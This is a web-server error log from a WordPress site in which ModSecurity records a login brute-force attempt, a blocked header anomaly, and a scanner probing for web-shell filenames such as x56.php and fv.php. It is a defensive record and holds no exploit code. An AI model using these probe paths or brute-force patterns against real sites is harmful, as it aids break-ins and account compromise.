[Mon Mar 02 11:02:33.560283 2026] [:error] [pid 23872:tid 23887] [client 91.92.242.216:63099] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9yUzkQFuA2qBk8UPV5gAAAYw"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:02:50.592598 2026] [:error] [pid 21575:tid 21585] [client 91.92.242.216:60692] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT92irocdArcJqFfInENQAAAUY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:03:07.458515 2026] [:error] [pid 31257:tid 31277] [client 91.92.242.216:59418] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT96_-JFLfishX45N9GnQAAAQ4"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:03:24.207606 2026] [:error] [pid 28795:tid 28880] [client 91.92.242.216:57255] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT9_LROd53wZBkdI_eyDQAAAJE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:03:41.843792 2026] [:error] [pid 21575:tid 21590] [client 91.92.242.216:56938] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-DSrocdArcJqFfInEowAAAUs"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:03:58.886359 2026] [:error] [pid 21575:tid 21596] [client 91.92.242.216:56034] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-HirocdArcJqFfInEuQAAAVE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:04:16.248677 2026] [:error] [pid 31257:tid 31284] [client 91.92.242.216:55610] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-MP-JFLfishX45N9HWQAAARU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:04:33.544075 2026] [:error] [pid 31257:tid 31264] [client 91.92.242.216:55850] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-Qf-JFLfishX45N9HfAAAAQE"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:04:51.539742 2026] [:error] [pid 28794:tid 28854] [client 91.92.242.216:57185] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-U6Vy2qpaelbUob16UgAAAFI"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:05:08.232094 2026] [:error] [pid 28794:tid 28841] [client 91.92.242.216:56547] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-ZKVy2qpaelbUob16WgAAAEU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:05:25.258545 2026] [:error] [pid 23872:tid 23884] [client 91.92.242.216:55994] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-dUzkQFuA2qBk8UPZDAAAAYk"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:05:42.194028 2026] [:error] [pid 23872:tid 23898] [client 91.92.242.216:55209] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-hkzkQFuA2qBk8UPZVgAAAZc"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:06:00.552212 2026] [:error] [pid 31257:tid 31286] [client 91.92.242.216:55632] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-mP-JFLfishX45N9IqAAAARc"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:06:17.610246 2026] [:error] [pid 31257:tid 31276] [client 91.92.242.216:54107] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-qf-JFLfishX45N9I8QAAAQ0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:06:34.304136 2026] [:error] [pid 28908:tid 28931] [client 91.92.242.216:51649] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-uoqJmC8ih_lQQnAQkQAAANU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:06:51.050351 2026] [:error] [pid 23872:tid 23895] [client 91.92.242.216:65406] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-y0zkQFuA2qBk8UPacQAAAZQ"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:07:07.972989 2026] [:error] [pid 28908:tid 28934] [client 91.92.242.216:63040] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-24qJmC8ih_lQQnAQvwAAANg"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:07:24.606308 2026] [:error] [pid 23872:tid 23891] [client 91.92.242.216:59649] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-7EzkQFuA2qBk8UPbfwAAAZA"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:07:40.772949 2026] [:error] [pid 31257:tid 31284] [client 91.92.242.216:56371] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT-_P-JFLfishX45N9KFAAAARU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:07:58.178532 2026] [:error] [pid 28794:tid 28849] [client 91.92.242.216:54407] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_DqVy2qpaelbUob16qAAAAE0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:08:14.787818 2026] [:error] [pid 23872:tid 23895] [client 91.92.242.216:51576] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_HkzkQFuA2qBk8UPcdwAAAZQ"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:08:24.336505 2026] [:error] [pid 23872:tid 23877] [client 91.92.242.216:56804] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_KEzkQFuA2qBk8UPcpwAAAYI"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:08:27.272793 2026] [:error] [pid 23872:tid 23881] [client 91.92.242.216:56804] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_K0zkQFuA2qBk8UPcqgAAAYY"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:08:44.662014 2026] [:error] [pid 28795:tid 28867] [client 91.92.242.216:57573] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_PLROd53wZBkdI_ezCQAAAIQ"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:09:01.259111 2026] [:error] [pid 28908:tid 28912] [client 91.92.242.216:53669] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_TYqJmC8ih_lQQnARMgAAAMI"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:09:17.579637 2026] [:error] [pid 28795:tid 28876] [client 91.92.242.216:49657] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_XbROd53wZBkdI_ezIwAAAI0"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:09:33.880191 2026] [:error] [pid 21575:tid 21603] [client 91.92.242.216:62127] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_bSrocdArcJqFfInH5gAAAVg"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:09:50.175535 2026] [:error] [pid 28908:tid 28926] [client 91.92.242.216:57972] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_foqJmC8ih_lQQnARagAAANA"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:10:06.834447 2026] [:error] [pid 21575:tid 21591] [client 91.92.242.216:54423] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_jirocdArcJqFfInIFgAAAUw"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:10:23.258105 2026] [:error] [pid 23872:tid 23885] [client 91.92.242.216:50804] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_n0zkQFuA2qBk8UPfagAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 11:10:40.024547 2026] [:error] [pid 31257:tid 31268] [client 91.92.242.216:64352] [client 91.92.242.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaT_sP-JFLfishX45N9MLAAAAQU"], referer: https://vetstars.com.au/wp-login.php
[Mon Mar 02 12:03:37.644979 2026] [:error] [pid 28908:tid 28921] [client 43.131.26.226:51114] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaUMGYqJmC8ih_lQQnBQvwAAAMs"]
[Mon Mar 02 12:07:25.992980 2026] [autoindex:error] [pid 21575:tid 21598] [client 20.104.124.39:24749] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 12:08:17.168603 2026] [:error] [pid 23872:tid 23895] [client 20.104.124.39:24711] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaUNMUzkQFuA2qBk8UMKWAAAAZQ"]
[Mon Mar 02 12:08:17.919508 2026] [:error] [pid 21575:tid 21601] [client 20.104.124.39:24717] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaUNMSrocdArcJqFfIkVXgAAAVY"]
[Mon Mar 02 12:08:18.446288 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:24763] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaUNMirocdArcJqFfIkVYwAAAUo"]
[Mon Mar 02 12:08:19.081244 2026] [:error] [pid 21575:tid 21583] [client 20.104.124.39:24962] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaUNMyrocdArcJqFfIkVaAAAAUQ"]
[Mon Mar 02 12:08:19.577559 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24760] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaUNM4qJmC8ih_lQQnBYAgAAANg"]
[Mon Mar 02 12:08:20.132895 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:24973] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaUNNP-JFLfishX45N9n1wAAARY"]
[Mon Mar 02 12:08:21.170276 2026] [:error] [pid 21575:tid 21585] [client 20.104.124.39:24707] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaUNNSrocdArcJqFfIkVdAAAAUY"]
[Mon Mar 02 12:08:21.648867 2026] [:error] [pid 23872:tid 23893] [client 20.104.124.39:24761] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaUNNUzkQFuA2qBk8UMKZAAAAZI"]
[Mon Mar 02 12:08:22.614007 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:24724] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaUNNoqJmC8ih_lQQnBYLQAAANA"]
[Mon Mar 02 12:08:23.098073 2026] [:error] [pid 21575:tid 21595] [client 20.104.124.39:25009] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaUNNyrocdArcJqFfIkVggAAAVA"]
[Mon Mar 02 12:08:23.683206 2026] [:error] [pid 21575:tid 21579] [client 20.104.124.39:24728] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaUNNyrocdArcJqFfIkVhgAAAUA"]
[Mon Mar 02 12:08:25.135451 2026] [:error] [pid 21575:tid 21594] [client 20.104.124.39:24730] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaUNOSrocdArcJqFfIkVjQAAAU8"]
[Mon Mar 02 12:08:25.957292 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:24738] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaUNOf-JFLfishX45N9n5wAAARU"]
[Mon Mar 02 12:08:26.397375 2026] [:error] [pid 28794:tid 28860] [client 20.104.124.39:24720] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaUNOqVy2qpaelbUob2CVgAAAFg"]
[Mon Mar 02 12:08:27.014896 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:24735] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaUNO_-JFLfishX45N9n7AAAAQQ"]
[Mon Mar 02 12:08:28.311894 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24965] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaUNPIqJmC8ih_lQQnBYagAAANg"]
[Mon Mar 02 12:08:28.837246 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:24963] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaUNPIqJmC8ih_lQQnBYbwAAAMU"]
[Mon Mar 02 12:08:29.575441 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24726] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaUNPYqJmC8ih_lQQnBYeQAAANg"]
[Mon Mar 02 12:08:30.464254 2026] [:error] [pid 23872:tid 23896] [client 20.104.124.39:24966] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaUNPkzkQFuA2qBk8UMKgAAAAZU"]
[Mon Mar 02 12:08:31.344239 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:24746] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaUNP_-JFLfishX45N9oAgAAAQM"]
[Mon Mar 02 12:08:32.045710 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:24988] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaUNQIqJmC8ih_lQQnBYhwAAANY"]
[Mon Mar 02 12:08:33.236324 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:24974] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaUNQYqJmC8ih_lQQnBYiwAAAMM"]
